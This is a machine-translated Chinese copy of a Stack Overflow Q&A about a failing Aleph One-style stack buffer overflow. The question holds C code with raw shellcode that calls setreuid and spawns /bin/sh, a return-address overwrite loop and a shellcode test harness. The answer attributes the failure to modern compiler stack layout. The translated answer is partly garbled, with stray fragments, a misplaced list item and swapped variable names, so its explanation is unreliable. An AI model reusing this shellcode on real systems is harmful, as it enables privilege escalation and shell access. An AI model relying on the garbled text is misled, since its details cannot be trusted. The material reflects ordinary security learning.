怎么写缓冲区溢出?

时间:2016-11-26 09:39:18

标签: c buffer-overflow

我一直在做缓冲区溢出测试,主要是我从Aleph One的github.com/trenoncourt

读取
#include<string.h>
#include<stdio.h>

char shellcode[]="\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0
\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x8\x8d\x53\x0c\xcd\x80\xe8
\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x58\x58\x58\x58
\x59\x59\x59\x59";

char large_str[104]; /*length equals to buffer + i + ptr + return_address*/

int main(){
    char buffer[56];/*same length as shellcode*/
    int i;
    long *ptr=(long*)large_str;

    memset(&large_str,0,104); /*initialize large_str*/
    for(i=0;i<24;i++)
            *(ptr+i)=(int)buffer; /*overwrite return address*/

    for(i=0;i<strlen(shellcode);i++)
            large_str[i]=shellcode[i];



    strcpy(buffer,large_str); /*doing overflow*/
    return 0;
}

操作

$gcc -o overflow -fno-stack-protector overflow.c
$./overflow
segmentation fault (core dumped)

在此之前,我已经关闭了随机地址。 另外,我在程序中测试了我的shellcode:

int main(int argc, char **argv)
{
    int (*func)();
    func=(int(*)())code;
    (int)(*func)();
}

它有效。所以我不知道我的缓冲区溢出代码有什么问题,是否有人有缓冲区溢出实验室的经验? 我用gdb调试,似乎我没有正确写入返回地址。

1 个答案:

答案 0 :(得分:2)

您的代码会对buffer之类的内容进行假设。

1996年的一系列编译器的有效期,从您的文章发布之日起,根本不再是真实的,<2016年<20> 。

这与堆栈保护或地址布局随机化无关。只是因为没有理由编译器应该在你的large_str之后放置返回地址指针 - 编译器不是愚蠢的并且看到buffer被分配了main,无论如何,所以它只会挑选内存中看似方便的任何位置来存储buffer。而且绝对没有理由认为这是

    堆栈上的
  1. 开头(为什么要这样?编译器知道它的生命周期,所以它也可以在任何地方),见stack and heap are not what you think
  2. 内存布局将返回指针 - large_str - 其他任何内容。那里定义了 nothing 。而且不应该。它是编译器的选择,坦率地说,它可能不会做出与你相同的选择。